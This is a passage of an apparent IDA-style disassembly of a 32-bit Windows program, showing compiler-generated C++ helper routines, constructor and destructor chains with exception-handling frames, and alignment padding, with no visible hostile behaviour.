db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4160F0 proc near ; CODE XREF: sub_401EA6j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4160F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416120 proc near ; CODE XREF: sub_401CFDj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4012CB
mov edi, eax
push edi
call sub_4017D5
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401DA2
sub_416120 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_4017D5
push edi
mov [eax], ebx
call sub_4017D5
mov edi, [eax]
push edi
call sub_4017D5
mov ecx, [eax]
push ecx
call sub_401BB8
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_4017DA
add esp, 4
mov ecx, esi
push eax
call sub_401DFC
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+14h]
mov ecx, esi
call sub_401D66
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4161C0 proc near ; CODE XREF: sub_401078j
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_401EA1
mov ecx, eax
call sub_4012CB
mov esi, eax
push esi
call sub_401BB8
push esi
mov ebx, eax
call sub_4017D5
mov ecx, [eax]
push ecx
call sub_401BB8
mov edx, [ebx]
push esi
mov [eax], edx
call sub_4017D5
push esi
mov ebx, eax
call sub_401BB8
mov eax, [eax]
push eax
call sub_4017D5
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_4017DA
add esp, 1Ch
mov ecx, edi
push eax
call sub_4013F7
push esi
mov ecx, edi
call sub_401EF6
sub_4161C0 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416280 proc near ; CODE XREF: sub_401401j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401339
test al, al
jz short loc_4162DA
loc_416298: ; CODE XREF: sub_416280+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_401EA1
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401078
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401339
test al, al
jnz short loc_416298
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_4162DA: ; CODE XREF: sub_416280+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_416280 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416310 proc near ; CODE XREF: sub_401DA2j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_401E9C
sub_416310 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_416325
mov edi, esi
loc_416325: ; CODE XREF: ___:00416321j
push esi
call sub_401BB8
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_41633A
mov edi, esi
loc_41633A: ; CODE XREF: ___:00416336j
push esi
call sub_4017D5
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416360 proc near ; CODE XREF: sub_401EF6j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401857
sub_416360 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416380 proc near ; CODE XREF: sub_401BB8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_416380 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4163A0 proc near ; CODE XREF: sub_4017DAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_4163A0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4163C0 proc near ; CODE XREF: sub_401E29j
mov eax, ecx
retn
sub_4163C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4163E0 proc near ; CODE XREF: sub_401D66j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40160E
mov eax, esi
pop esi
retn 4
sub_4163E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416410 proc near ; CODE XREF: sub_401EA1j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40118B
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_416410 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416440 proc near ; CODE XREF: sub_40144Cj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_416440 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416470 proc near ; CODE XREF: sub_401104j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_416470 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416490 proc near ; CODE XREF: sub_4020D6j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
sub_416490 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4164C0 proc near ; CODE XREF: sub_401E01j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_4164C0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4164E0 proc near ; CODE XREF: sub_402194j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40125D
add esp, 8
retn 8
sub_4164E0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416510 proc near ; CODE XREF: sub_4014F6j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_6
pop ecx
retn 4
sub_416510 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416530 proc near ; CODE XREF: sub_401753j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_416530 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416550 proc near ; CODE XREF: sub_401A4Bj
mov eax, [ecx]
push eax
call sub_401EFB
add esp, 4
retn
sub_416550 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416570 proc near ; CODE XREF: sub_4020EFj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40208B
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_416570 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4165A0 proc near ; CODE XREF: sub_401CA8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401E56
neg al
sbb eax, eax
inc eax
retn 4
sub_4165A0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4165D0 proc near ; CODE XREF: sub_401C4Ej
mov eax, [ecx]
retn
sub_4165D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4165F0 proc near ; CODE XREF: sub_401163j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_4165F0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416610 proc near ; CODE XREF: sub_4015A5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
sub_416610 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416640 proc near ; CODE XREF: sub_4010D7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_416640 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416660 proc near ; CODE XREF: sub_4015E6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_402040
add esp, 8
retn 8
sub_416660 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416690 proc near ; CODE XREF: sub_401D4Dj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_5
pop ecx
retn 4
sub_416690 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4166B0 proc near ; CODE XREF: sub_401357j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4166B0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4166D0 proc near ; CODE XREF: sub_401F6Ej
mov eax, [ecx]
retn
sub_4166D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4166F0 proc near ; CODE XREF: sub_4017D5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_4166F0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416710 proc near ; CODE XREF: sub_401E9Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
sub_416710 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416740 proc near ; CODE XREF: sub_401857j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_416740 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416760 proc near ; CODE XREF: sub_401DFCj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_4020CC
add esp, 8
retn 8
sub_416760 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416790 proc near ; CODE XREF: sub_4013F7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_3
pop ecx
retn 4
sub_416790 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4167B0 proc near ; CODE XREF: sub_40160Ej
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4167B0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4167D0 proc near ; CODE XREF: sub_4012CBj
mov eax, [ecx]
retn
sub_4167D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4167F0 proc near ; CODE XREF: sub_401E56j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4167F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416820 proc near ; CODE XREF: sub_40125Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_41683B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_41683B: ; CODE XREF: sub_416820+11j
retn
sub_416820 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416870 proc near ; CODE XREF: sub_402040j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_41688B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_41688B: ; CODE XREF: sub_416870+11j
retn
sub_416870 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4168C0 proc near ; CODE XREF: sub_4020CCj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_4168DB
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_4168DB: ; CODE XREF: sub_4168C0+11j
retn
sub_4168C0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr db '░░░░░░░░░░░░░░░ллллллллллллллллХ',1Bh,0
align 4
dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 447158B9h
dd 0B508E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
dd 41697068h, 0FF6CE800h, 0C3590001h, 90909090h, 4 dup(0CCCCCCCCh)
dd 447158B9h, 0B2CAE900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_416990: ; CODE XREF: ___:00401C44j
push 0FFFFFFFFh
push offset loc_439FE1
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+4], esi
lea ecx, [esi+9FD83h]
mov dword ptr [esp+10h], 1Ah
call sub_4021DA
; ---------------------------------------------------------------------------
lea ecx, [esi+9FD6Ch]
mov byte ptr [esp+10h], 19h
call sub_401226
lea ecx, [esi+9FD57h]
mov byte ptr [esp+10h], 18h
call sub_401226
lea ecx, [esi+9FD42h]
mov byte ptr [esp+10h], 17h
call sub_401226
lea ecx, [esi+9FD2Dh]
mov byte ptr [esp+10h], 16h
call sub_401226
lea ecx, [esi+9FC42h]
mov byte ptr [esp+10h], 15h
call sub_401EE2
lea ecx, [esi+9FC31h]
mov byte ptr [esp+10h], 14h
call sub_40176C
lea ecx, [esi+9FBFFh]
mov byte ptr [esp+10h], 13h
call sub_401FF5
lea ecx, [esi+9FBCDh]
mov byte ptr [esp+10h], 12h
call sub_401DED
lea ecx, [esi+9FB93h]
mov byte ptr [esp+10h], 11h
call sub_40187A
lea ecx, [esi+9FB05h]
mov byte ptr [esp+10h], 10h
call sub_401113
lea ecx, [esi+9FAD3h]
mov byte ptr [esp+10h], 0Fh
call sub_401F28
lea ecx, [esi+9FA73h]
mov byte ptr [esp+10h], 0Eh
call sub_401B27
lea ecx, [esi+9FA13h]
mov byte ptr [esp+10h], 0Dh
call sub_4017D0
lea ecx, [esi+8F4BFh]
mov byte ptr [esp+10h], 0Ch
call sub_4018CA
lea ecx, [esi+8F3A2h]
mov byte ptr [esp+10h], 0Bh
call sub_401EB0
lea ecx, [esi+8F285h]
mov byte ptr [esp+10h], 0Ah
call sub_402216
lea ecx, [esi+8F270h]
mov byte ptr [esp+10h], 9
call sub_4017A3
lea ecx, [esi+8F247h]
mov byte ptr [esp+10h], 8
call sub_401A23
lea ecx, [esi+8EF5Dh]
mov byte ptr [esp+10h], 7
call sub_4013C0
; ---------------------------------------------------------------------------
lea ecx, [esi+1E6Fh]
mov byte ptr [esp+10h], 6
call sub_401235
lea ecx, [esi+1D29h]
mov byte ptr [esp+10h], 5
call sub_401E83
lea ecx, [esi+1C58h]
mov byte ptr [esp+10h], 4
call sub_4014F1
lea ecx, [esi+1BBEh]
mov byte ptr [esp+10h], 3
call sub_401AE6
; ---------------------------------------------------------------------------
lea ecx, [esi+1B46h]
mov byte ptr [esp+10h], 2
call sub_401C8F
; ---------------------------------------------------------------------------
lea ecx, [esi+15Fh]
mov byte ptr [esp+10h], 1
call sub_401929
lea ecx, [esi+3Eh]
mov byte ptr [esp+10h], 0
call sub_40143D
mov ecx, esi
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401262
; ---------------------------------------------------------------------------
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416C00 proc near ; CODE XREF: sub_401A23j
push esi
mov esi, ecx
mov eax, [esi+15h]
mov dword ptr [esi], offset off_43E050
test eax, eax
jle short loc_416C17
push eax
call near ptr 71AB9639h
nop
loc_416C17: ; CODE XREF: sub_416C00+Ej
mov ecx, esi
call sub_402031
pop esi
retn
sub_416C00 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416C30 proc near ; CODE XREF: ___:0040126Cj sub_4019BFj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401A23
test [esp+4+arg_0], 1
jz short loc_416C48
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_416C48: ; CODE XREF: sub_416C30+Dj
mov eax, esi
pop esi
retn 4
sub_416C30 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416C60 proc near ; CODE XREF: sub_4017A3j
push esi
mov esi, ecx
mov eax, [esi+11h]
mov dword ptr [esi], offset off_43E05C
test eax, eax
jle short loc_416C77
push eax
nop
call near ptr 71AB9639h
loc_416C77: ; CODE XREF: sub_416C60+Ej
mov ecx, esi
call sub_402031
pop esi
retn
sub_416C60 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_416C90: ; CODE XREF: ___:00401627j
; ___:loc_401C99j
push esi
mov esi, ecx
call sub_4017A3
test byte ptr [esp+8], 1
jz short loc_416CA8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_416CA8: ; CODE XREF: ___:00416C9Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416CC0 proc near ; CODE XREF: sub_40176Cj
mov dword ptr [ecx], offset off_43E068
jmp sub_402031
sub_416CC0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_416CE0: ; CODE XREF: ___:loc_40191Aj
; ___:0040218Aj
push esi
mov esi, ecx
call sub_40176C
test byte ptr [esp+8], 1
jz short loc_416CF8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_416CF8: ; CODE XREF: ___:00416CEDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416D10 proc near ; CODE XREF: sub_40187Aj
mov dword ptr [ecx], offset off_43E074
add ecx, 4
jmp sub_401023
sub_416D10 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_416D30: ; CODE XREF: ___:00401E42j
push 0FFFFFFFFh
push offset loc_43A1C1
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+8], esi
call sub_40209F
; ---------------------------------------------------------------------------
lea ecx, [esi+3Eh]
mov dword ptr [esp+14h], 0
call sub_4015DC
lea ecx, [esi+15Fh]
mov byte ptr [esp+14h], 1
call sub_40129E
lea ecx, [esi+1B46h]
mov byte ptr [esp+14h], 2
call sub_401FFA
; ---------------------------------------------------------------------------
lea ecx, [esi+1BBEh]
mov byte ptr [esp+14h], 3
call sub_4019F1
; ---------------------------------------------------------------------------
lea ecx, [esi+1C58h]
mov byte ptr [esp+14h], 4
call sub_40157D
lea ecx, [esi+1D29h]
mov byte ptr [esp+14h], 5
call sub_401645
lea ecx, [esi+1E6Fh]
mov byte ptr [esp+14h], 6
call sub_401776
lea ecx, [esi+8EF5Dh]
mov byte ptr [esp+14h], 7
call sub_401695
lea ecx, [esi+8F247h]
mov byte ptr [esp+14h], 8
call sub_401820
lea ecx, [esi+8F270h]
mov byte ptr [esp+14h], 9
call sub_4016B3
lea ecx, [esi+8F285h]
mov byte ptr [esp+14h], 0Ah
call sub_401415
lea ecx, [esi+8F3A2h]
mov byte ptr [esp+14h], 0Bh
call sub_401302
lea ecx, [esi+8F4BFh]
mov byte ptr [esp+14h], 0Ch
call sub_401271
lea ecx, [esi+8F51Fh]
mov byte ptr [esp+14h], 0Dh
call sub_401D11
lea ecx, [esi+9FA13h]
call sub_4012FD
lea ecx, [esi+9FA73h]
mov byte ptr [esp+14h], 0Eh
call sub_401A7D
lea ecx, [esi+9FAD3h]
mov byte ptr [esp+14h], 0Fh
call sub_401285
lea ecx, [esi+9FB05h]
mov byte ptr [esp+14h], 10h
call sub_401CA3
lea ecx, [esi+9FB93h]
mov byte ptr [esp+14h], 11h
call sub_402103
; ---------------------------------------------------------------------------
mov byte ptr [esp+14h], 12h
lea ecx, [esi+9FBCDh]
call sub_401573
lea ecx, [esi+9FBFFh]
mov byte ptr [esp+14h], 13h
call sub_40178F
lea ecx, [esi+9FC31h]
mov byte ptr [esp+14h], 14h
call sub_401069
lea ecx, [esi+9FC42h]
mov byte ptr [esp+14h], 15h
call sub_401073
lea ecx, [esi+9FD2Dh]
mov byte ptr [esp+14h], 16h
call sub_401424
lea ecx, [esi+9FD42h]
mov byte ptr [esp+14h], 17h
call sub_401424
lea ecx, [esi+9FD57h]
mov byte ptr [esp+14h], 18h
call sub_401424
lea ecx, [esi+9FD6Ch]
mov byte ptr [esp+14h], 19h
call sub_401424
lea eax, [esp+7]
lea ecx, [esi+9FD83h]
push eax
mov byte ptr [esp+18h], 1Ah
call sub_401AFA
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416FB0 proc near ; CODE XREF: sub_401262j
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_416FB0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401B09
sub_416FB0 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+4]
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417020 proc near ; CODE XREF: sub_401929j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417020
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+179Fh]
mov [esp+14h+var_4], 3Ch
call sub_40206D
lea ecx, [esi+1557h]
mov byte ptr [esp+14h+var_4], 3Bh
call sub_40206D
lea ecx, [esi+130Fh]
mov byte ptr [esp+14h+var_4], 3Ah
call sub_40206D
lea ecx, [esi+10C7h]
mov byte ptr [esp+14h+var_4], 39h
call sub_40206D
lea ecx, [esi+0E7Fh]
mov byte ptr [esp+14h+var_4], 38h
call sub_40206D
mov byte ptr [esp+14h+var_4], 37h
lea ecx, [esi+0E51h]
call sub_401023
lea ecx, [esi+0E23h]
mov byte ptr [esp+14h+var_4], 36h
call sub_401023
lea ecx, [esi+0DF5h]
mov byte ptr [esp+14h+var_4], 35h
call sub_401023
lea ecx, [esi+0DC7h]
mov byte ptr [esp+14h+var_4], 34h
call sub_401023
lea ecx, [esi+0D99h]
mov byte ptr [esp+14h+var_4], 33h
call sub_401023
lea ecx, [esi+0D6Bh]
mov byte ptr [esp+14h+var_4], 32h
call sub_401023
lea ecx, [esi+0D3Dh]
mov byte ptr [esp+14h+var_4], 31h
call sub_401023
lea ecx, [esi+0D0Fh]
mov byte ptr [esp+14h+var_4], 30h
call sub_401023
lea ecx, [esi+0CE1h]
mov byte ptr [esp+14h+var_4], 2Fh
call sub_401023
lea ecx, [esi+0CB3h]
mov byte ptr [esp+14h+var_4], 2Eh
call sub_401023
lea ecx, [esi+0C85h]
mov byte ptr [esp+14h+var_4], 2Dh
call sub_401023
lea ecx, [esi+0C57h]
mov byte ptr [esp+14h+var_4], 2Ch
call sub_401023
lea ecx, [esi+0C29h]
mov byte ptr [esp+14h+var_4], 2Bh
call sub_401023
lea ecx, [esi+0BFBh]
mov byte ptr [esp+14h+var_4], 2Ah
call sub_401023
lea ecx, [esi+0BCDh]
mov byte ptr [esp+14h+var_4], 29h
call sub_401023
lea ecx, [esi+0B9Fh]
mov byte ptr [esp+14h+var_4], 28h
call sub_401023
lea ecx, [esi+0B71h]
mov byte ptr [esp+14h+var_4], 27h
call sub_401023
lea ecx, [esi+0B28h]
mov byte ptr [esp+14h+var_4], 26h
call sub_401AD2
lea ecx, [esi+0ADFh]
mov byte ptr [esp+14h+var_4], 25h
call sub_401AD2
lea ecx, [esi+0A96h]
mov byte ptr [esp+14h+var_4], 24h
call sub_401AD2
lea ecx, [esi+0A4Dh]
mov byte ptr [esp+14h+var_4], 23h
call sub_401AD2
lea ecx, [esi+0A04h]
mov byte ptr [esp+14h+var_4], 22h
call sub_401AD2
lea ecx, [esi+9BBh]
mov byte ptr [esp+14h+var_4], 21h
call sub_401AD2
lea ecx, [esi+972h]
mov byte ptr [esp+14h+var_4], 20h
call sub_401AD2
lea ecx, [esi+929h]
mov byte ptr [esp+14h+var_4], 1Fh
call sub_401AD2
lea ecx, [esi+8E0h]
mov byte ptr [esp+14h+var_4], 1Eh
call sub_401AD2
lea ecx, [esi+897h]
